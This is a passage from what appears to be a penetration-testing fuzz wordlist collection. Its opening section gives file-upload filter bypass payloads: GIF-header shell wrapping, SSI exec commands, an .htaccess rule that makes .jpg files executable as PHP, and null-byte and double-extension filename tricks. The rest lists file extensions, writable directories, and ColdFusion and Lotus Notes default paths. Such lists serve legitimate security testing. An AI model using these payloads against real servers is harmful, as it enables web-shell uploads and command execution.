adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (&lt;pre&gt;Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863 ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> 